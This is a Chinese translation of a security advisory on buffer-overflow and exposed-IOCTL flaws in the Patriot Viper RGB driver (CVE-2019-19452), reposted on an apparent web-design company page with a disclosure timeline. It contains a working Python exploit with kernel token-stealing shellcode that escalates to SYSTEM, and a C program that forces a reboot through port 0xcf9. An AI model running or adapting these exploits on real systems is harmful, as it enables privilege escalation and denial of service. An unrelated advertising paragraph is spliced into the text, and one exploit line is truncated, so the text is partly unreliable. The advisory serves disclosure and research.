新聞中心
0x01 漏洞信息

在墨脫等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強(qiáng)發(fā)展的系統(tǒng)性、市場(chǎng)前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供成都做網(wǎng)站、成都網(wǎng)站建設(shè)、成都外貿(mào)網(wǎng)站建設(shè) 網(wǎng)站設(shè)計(jì)制作按需制作,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),品牌網(wǎng)站建設(shè),網(wǎng)絡(luò)營(yíng)銷推廣,外貿(mào)網(wǎng)站制作,墨脫網(wǎng)站建設(shè)費(fèi)用合理。
漏洞類型:基于堆棧的緩沖區(qū)溢出[ CWE-121 ],暴露的IOCTL(訪問控制不足)[ CWE-782 ] 影響:代碼執(zhí)行允許特權(quán)提升 遠(yuǎn)程可利用:否 本地可利用:是 CVE名稱: CVE-2019-19452
0x02 漏洞描述
Patriot Memory是一家總部位于美國(guó)的技術(shù)公司,設(shè)計(jì)和制造內(nèi)存模塊,閃存驅(qū)動(dòng)器,移動(dòng)配件和游戲設(shè)備。
在處理IoControlCode 0x80102040時(shí),在Viper驅(qū)動(dòng)程序RGB 1.1版中發(fā)現(xiàn)緩沖區(qū)溢出漏洞。本地攻擊者可以利用此漏洞,因此獲得NT AUTHORITY \ SYSTEM特權(quán)。
IOCTL代碼0x80102050和0x80102054允許具有低特權(quán)的用戶從IO端口讀取或向其寫入1/2/4字節(jié)??梢酝ㄟ^多種方式來(lái)利用它來(lái)最終以提升的特權(quán)運(yùn)行代碼。
0x03 安全建議
1.1版和所有以前的版本在每個(gè)受支持的Windows版本中都容易受到攻擊(安裝程序:Patriot Viper RGB v1.1.exe)
解決方案和解決方法:
Patriot Memory已發(fā)布版本MSIO_191231_v1.2,該版本已修復(fù)報(bào)告中的漏洞。
這些漏洞是由Core Security Exploit團(tuán)隊(duì)的Ricardo Narvaja和Lucas Dominikow發(fā)現(xiàn)的。
0x04 漏洞分析和利用驗(yàn)證
基于堆棧的緩沖區(qū)溢出特權(quán)提升
CVE-2019-19452
對(duì)版本1.0的漏洞的利用驗(yàn)證發(fā)現(xiàn)了溢出漏洞的存在,該溢出可以覆蓋ZwOpenSection和ZwMapViewOfSection的參數(shù)。
1.0版和1.1版之間的二進(jìn)制代碼差異表明,盡管對(duì)這些函數(shù)的參數(shù)進(jìn)行了檢查,但先前的溢出漏洞仍存在未進(jìn)行修補(bǔ),而CoreLabs在隨后研究中能夠控制其大小。
可以在下面找到有關(guān)版本1.0的信息:
https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md
https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845
在版本1.1中,控制器分析IoControlCodes并到達(dá)此位置,將IoControlCode與0x80102040進(jìn)行比較。
- .text:0000000000001518 lea rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL"
- .text:000000000000151F call DbgPrint
- .text:0000000000001524 mov r11d, [rbp+18h]
- .text:0000000000001528 cmp r11d, 80102040h
- .text:000000000000152F jz loc_16D4
如果比較結(jié)果正確,則會(huì)調(diào)用由CoreLabs控制的MaxCount(要復(fù)制的大?。┖蚐RC(源緩沖區(qū))的memmove,沒有進(jìn)行驗(yàn)證以確保數(shù)據(jù)適合目標(biāo)緩沖區(qū),從而導(dǎo)致堆棧溢出。
- .text:00000000000016E8 lea rcx, [rsp+78h+Src] ; Dst
- .text:00000000000016ED mov r8, rbx ; MaxCount
- .text:00000000000016F0 mov rdx, rsi ; Src
- .text:00000000000016F3 call memmove
由于驅(qū)動(dòng)程序尚未使用安全cookie保護(hù)函數(shù)的堆棧,因此可以成功執(zhí)行任意代碼。
可以通過調(diào)用CreateFileA來(lái)獲取驅(qū)動(dòng)程序的句柄,然后通過發(fā)送受控?cái)?shù)據(jù)來(lái)調(diào)用DeviceIoControl來(lái)實(shí)現(xiàn)此功能。下面將使用針對(duì)Windows 7 SP1 x64設(shè)計(jì)PoC,演示針對(duì)x64版本驅(qū)動(dòng)程序的代碼執(zhí)行。該代碼將需要改編為其他Windows版本。
有效利用漏洞取決于目標(biāo)設(shè)備和體系結(jié)構(gòu)的細(xì)節(jié)。例如,在Windows 10中,有SMEP / SMAP和其他特定的緩解措施。
下面看到的PoC漏洞利用演示了此過程,該過程重用了連接套接字以生成shell并在系統(tǒng)上執(zhí)行任意命令。
- #!/usr/bin/env python
- import struct, sys, os
- from ctypes import *
- from ctypes.wintypes import *
- import os
- import struct
- import sys
- from ctypes import wintypes
- GENERIC_READ = 0x80000000
- GENERIC_WRITE = 0x40000000
- GENERIC_EXECUTE = 0x20000000
- GENERIC_ALL = 0x10000000
- FILE_SHARE_DELETE = 0x00000004
- FILE_SHARE_READ = 0x00000001
- FILE_SHARE_WRITE = 0x00000002
- CREATE_NEW = 1
- CREATE_ALWAYS = 2
- OPEN_EXISTING = 3
- OPEN_ALWAYS = 4
- TRUNCATE_EXISTING = 5
- HEAP_ZERO_MEMORY=0x00000008
- MEM_COMMIT = 0x00001000
- MEM_RESERVE = 0x00002000
- PAGE_EXECUTE_READWRITE = 0x00000040
- ntdll = windll.ntdll
- kernel32 = windll.kernel32
- ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]
- kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)]
- GetProcAddress = kernel32.GetProcAddress
- GetProcAddress.restype = c_ulonglong
- GetProcAddress.argtypes = [c_ulonglong, wintypes.LPCSTR]
- GetModuleHandleA = kernel32.GetModuleHandleA
- GetModuleHandleA.restype = wintypes.HMODULE
- GetModuleHandleA.argtypes = [wintypes.LPCSTR]
- k32Dll=GetModuleHandleA("kernel32.dll")
- print "0x%X"%(k32Dll)
- if (not k32Dll) :
- print ("[-] Failed To get module handle kernel32.dll\n")
- WinExec=GetProcAddress(k32Dll, "WinExec")
- print "0x%X"%(WinExec)
- if (not WinExec) :
- print ("[-] Failed To get WinExec address.dll\n")
- print "WinExec = 0x%x"%WinExec
- raw_input()
- buf = kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40))
- shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3"
- #STARTS HERE
- written = c_ulonglong(0)
- dwReturn = c_ulong()
- hDevice = kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None )
- print "[+] buffer address: 0x%X" % buf
- data= "\xeb\x4e" + 0x46 * "A" + struct.pack("
- print "%r"%data
- kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data)))
- bytes_returned = wintypes.DWORD(0)
- h=wintypes.HANDLE(hDevice)
- b=wintypes.LPVOID(buf)
- #TRIGGER
- dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 0,byref(dwReturn), None)
- os.system("calc.exe")
- kernel32.CloseHandle(hDevice)
用python 64位執(zhí)行該代碼后,將顯示具有NT AUTHORITY \ SYSTEM特權(quán)的calc。
端口映射的I / O訪問
盡管當(dāng)前沒有為該漏洞分配CVE,但是如果MITER分配了其他CVE名稱,則將使用其他信息更新本文檔。
我們可以使用IOCTL代碼0x80102050讀取IO端口。
要指定我們要讀取的IO端口以及要讀取的字節(jié)大小,必須發(fā)送一個(gè)精心制作的緩沖區(qū),其中前兩個(gè)字節(jié)是IO端口,第六個(gè)是要讀取的字節(jié)數(shù)1、2或4。
此外,可以使用IOCTL代碼0x80102054對(duì)IO端口進(jìn)行寫入。另外,必須發(fā)送一個(gè)精心制作的緩沖區(qū)。此緩沖區(qū)與讀取的緩沖區(qū)非常相似。主要區(qū)別在于我們還需要指定要發(fā)送到IO端口的數(shù)據(jù)。該數(shù)據(jù)可以為1/2/4字節(jié),并從IO端口(3字節(jié)起)旁邊開始,在這種情況下,第六個(gè)字節(jié)將確定要寫入的字節(jié)數(shù)。
通過讀取/寫入IO端口我們可以實(shí)現(xiàn)利用。例如,以下PoC代碼將通過重新引導(dǎo)計(jì)算機(jī)來(lái)導(dǎo)致拒絕服。
- #include
- #include
- #define IOCTL_READ_IOPORT 0x80102050
- #define IOCTL_WRITE_IOPORT 0x80102054
- HANDLE GetDriverHandle(LPCSTR driverName)
- {
- HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (hDriver == INVALID_HANDLE_VALUE)
- {
- printf("Failed GetDriverHandle.\nError code:%d\n", GetLastError());
- exit(1);
- }
- return hDriver;
- }
- BYTE ReadPort(HANDLE hDriver, unsigned int port)
- {
- DWORD inBufferSize = 10;
- DWORD outBufferSize = 1;
- DWORD bytesReturned = 0;
- LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (inBuffer == NULL)
- {
- printf("Failed to allocate inBuffer %d\n", GetLastError());
- return 1;
- }
- if (outBuffer == NULL)
- {
- printf("Failed to allocate outBuffer %d\n", GetLastError());
- return 1;
- }
- memcpy((char*)inBuffer, &port, 2);
- memset((char*)inBuffer + 6, 0x1, 1);
- BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);
- if (retDevIoControl == 0)
- {
- printf("Failed DeviceIoControl\nError code:%d", GetLastError());
- return 1;
- }
- return (BYTE)(*((char*)outBuffer));
- }
- void WritePort(HANDLE hDriver, unsigned int port, BYTE data)
- {
- DWORD inBufferSize = 10;
- DWORD outBufferSize = 1;
- DWORD bytesReturned = 0;
- LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (inBuffer == NULL)
- {
- printf("Failed to allocate inBuffer %d\n", GetLastError());
- exit(1);
- }
- if (outBuffer == NULL)
- {
- printf("Failed to allocate outBuffer %d\n", GetLastError());
- exit(1);
- }
- memcpy((char*)inBuffer, &port, 2);
- memcpy((char*)inBuffer + 2, &data, 1);
- memset((char*)inBuffer + 6, 0x1, 1);
- BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);
- if (retDevIoControl == 0)
- {
- printf("Failed DeviceIoControl\nError code:%d", GetLastError());
- exit(1);
- }
- }
- int main(int argc, char** argv)
- {
- LPCSTR driverName = (LPCSTR)"\\\\.\\Msio";
- HANDLE hDriver = GetDriverHandle(driverName);
- BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6;
- WritePort(hDriver, 0xcf9, portCF9 | 2);
- Sleep(50);
- WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot
- CloseHandle(hDriver);
- return 0;
- }
0x05 漏洞披露時(shí)間表
2019年11月6日– CoreLabs通過[email protected]向供應(yīng)商發(fā)出了聯(lián)系電子郵件, 要求披露。
2019年11月26日–通過MITER網(wǎng)站申請(qǐng)CVE,收到申請(qǐng)確認(rèn)。
2019年11月29日– MITER將CVE-2019-19452分配給第一個(gè)漏洞。
2019年12月5日–稱為Patriot Memory HQ(510-979-1021),已通過自動(dòng)電話系統(tǒng)轉(zhuǎn)發(fā)給技術(shù)支持,還留下了留言信息和電子郵件。
2019年12月5日–收到來(lái)自賣方的電子郵件,要求進(jìn)一步的信息?;貜?fù)了非?;镜拿枋觯⒁笤诎l(fā)送POC之前確認(rèn)此電子郵件是公司的首選公開方法。
2019年12月17日–收到來(lái)自供應(yīng)商Patriot R&D的電子郵件,其中確認(rèn)了提交方式并將其命名為主要聯(lián)系人,回復(fù)了PoC。
2020年1月1日–收到來(lái)自供應(yīng)商的電子郵件,其中附有建議的修復(fù)程序。
2020年1月8日–確認(rèn)補(bǔ)丁程序正確。與供應(yīng)商確認(rèn)補(bǔ)丁程序有效,并詢問他們何時(shí)發(fā)布補(bǔ)丁程序。
2020年1月9日–供應(yīng)商聲明該補(bǔ)丁最多需要兩周才能發(fā)布(2020年1月23日)。
2020年1月16日–通過電子郵件發(fā)送給供應(yīng)商,以確認(rèn)23日的一切按計(jì)劃進(jìn)行。說(shuō)明我們打算在24日發(fā)布。
2020年1月16日–發(fā)現(xiàn)第二個(gè)未通過補(bǔ)丁解決的漏洞。新的POC發(fā)送給愛國(guó)者。
2020年1月20日–收到來(lái)自供應(yīng)商的電子郵件,指出他認(rèn)為發(fā)現(xiàn)第二個(gè)漏洞可能會(huì)延遲發(fā)布有問題的補(bǔ)丁。
2020年2月7日– Tweet由第三方發(fā)布在Twitter上,其中包含有關(guān)Viper RGB漏洞的信息。CoreLabs驗(yàn)證了推文中的信息是否正確,數(shù)據(jù)現(xiàn)在處于公開狀態(tài)。
2020年2月8日–向MITRE請(qǐng)求第二個(gè)漏洞的CVE身份。
2020年2月8日–向Patriot請(qǐng)求第二個(gè)漏洞的補(bǔ)丁程序狀態(tài),并告知他們?cè)撔畔F(xiàn)已在Twitter上公開。
2020年2月10日–Patriot回應(yīng)說(shuō),第二個(gè)漏洞目前沒有補(bǔ)丁。
2020年2月12日–告知Patriot,隨著有關(guān)漏洞的信息公開,CoreLabs計(jì)劃在2020年2月17日發(fā)布,除非在2020年2月14日之前收到進(jìn)一步的溝通。
2020年2月17日–已發(fā)布咨詢CORE-2020-0001。
參考信息:
https://www.viper.patriotmemory.com/viperrgbdramsoftware
https://www.coresecurity.com/contact
本文翻譯自:?https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238如若轉(zhuǎn)載,請(qǐng)注明原文地址。
網(wǎng)站題目:對(duì) Viper RGB 驅(qū)動(dòng)多個(gè)緩沖區(qū)溢出漏洞的分析
文章鏈接:http://m.fisionsoft.com.cn/article/coogjdg.html


咨詢
建站咨詢
